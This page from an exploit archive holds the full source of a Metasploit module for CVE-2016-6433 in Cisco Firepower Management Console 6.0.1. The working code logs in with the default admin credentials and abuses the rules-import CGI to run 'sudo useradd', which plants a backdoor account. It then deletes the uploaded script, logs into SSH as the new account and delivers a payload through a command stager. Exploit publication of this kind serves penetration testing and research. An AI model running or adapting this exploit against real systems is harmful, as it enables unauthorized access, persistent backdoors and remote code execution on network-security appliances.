Cisco Firepower Management Console 6.0 Post Authentication UserAdd

Published
Credit
Risk
2017.01.12
sinn3r
Medium
CWE
CVE
Local
Remote
N/A
CVE-2016-6433
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9/10
10/10
8/10
Exploit range
Attack complexity
Authentication
Remote
Low
Single time
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SSH

def initialize(info={})
super(update_info(info,
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Cisco Firepower Management Console.
The management system contains a configuration flaw that allows the www user to
execute the useradd binary, which can be abused to create backdoor accounts.
Authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt', # Original discovery & PoC
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2016-6433' ],
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 10 2016',
'CmdStagerFlavor'=> %w{ echo },
'DefaultOptions' =>
{
'SSL' => 'true',
'SSLVersion' => 'Auto',
'RPORT' => 443
},
'DefaultTarget' => 0))

register_options(
[
# admin:Admin123 is the default credential for 6.0.1
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console's SSH port', 22])
], self.class)
end

def check
# For this exploit to work, we need to check two services:
# * HTTP - To create the backdoor account for SSH
# * SSH - To execute our payload

vprint_status('Checking Cisco Firepower Management console...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
})

if res && res.code == 200
vprint_status("Console is found.")
vprint_status("Checking SSH service.")
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, 'admin',
port: datastore['SSHPORT'],
password: Rex::Text.rand_text_alpha(5),
auth_methods: ['password'],
non_interactive: true
)
end
rescue Timeout::Error
vprint_error('The SSH connection timed out.')
return Exploit::CheckCode::Unknown
rescue Net::SSH::AuthenticationFailed
# Hey, it talked. So that means SSH is running.
return Exploit::CheckCode::Appears
rescue Net::SSH::Exception => e
vprint_error(e.message)
end
end

Exploit::CheckCode::Safe
end

def get_sf_action_id(sid)
requirements = {}

print_status('Attempting to obtain sf_action_id from rulesimport.cgi')

uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}"
})

unless res
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
end

sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]

unless sf_action_id
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
end

sf_action_id
end

def create_ssh_backdoor(sid, user, pass)
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
sf_action_id = get_sf_action_id(sid)
sh_name = 'exploit.sh'

print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")

mime_data = Rex::MIME::Message.new
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
mime_data.add_part(
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
'application/octet-stream',
nil,
"form-data; name="file"; filename="#{sh_name}""
)

send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}",
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'vars_get' => { 'no_mojo' => '1' },
})
end

def generate_new_username
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
end

def generate_new_password
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
end

def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'cisco',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

def do_login
console_user = datastore['USERNAME']
console_pass = datastore['PASSWORD']
uri = normalize_uri(target_uri.path, 'login.cgi')

print_status("Attempting to login in as #{console_user}:#{console_pass}")

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'username' => console_user,
'password' => console_pass,
'target' => ''
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
end

res_cookie = res.get_cookies
if res.code == 302 && res_cookie.include?('CGISESSID')
cgi_sid = res_cookie.scan(/CGISESSID=(w+);/).flatten.first
print_status("CGI Session ID: #{cgi_sid}")
print_good("Authenticated as #{console_user}:#{console_pass}")
report_cred(username: console_user, password: console_pass)
return cgi_sid
end

nil
end

def execute_command(cmd, opts = {})
@first_exec = true
cmd.gsub!(//tmp/, '/usr/tmp')

# Weird hack for the cmd stager.
# Because it keeps using > to write the payload.
if @first_exec
@first_exec = false
else
cmd.gsub!(/>>/, ' > ')
end

begin
Timeout.timeout(3) do
@ssh_socket.exec!("#{cmd}\n")
vprint_status("Executing #{cmd}")
end
rescue Timeout::Error
fail_with(Failure::Unknown, 'SSH command timed out')
rescue Net::SSH::ChannelOpenFailed
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
retry
end
end

def init_ssh_session(user, pass)
print_status("Attempting to log into SSH as #{user}:#{pass}")

factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: datastore['SSHPORT'],
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true
}

opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
@ssh_socket = Net::SSH.start(rhost, user, opts)
end
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, e.message)
end
end

def exploit
# To exploit the useradd vuln, we need to login first.
sid = do_login
return unless sid

# After login, we can call the useradd utility to create a backdoor user
new_user = generate_new_username
new_pass = generate_new_password
create_ssh_backdoor(sid, new_user, new_pass)

# Log into the SSH backdoor account
init_ssh_session(new_user, new_pass)

begin
execute_cmdstager({:linemax => 500})
ensure
@ssh_socket.close
end
end

end

References:

https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com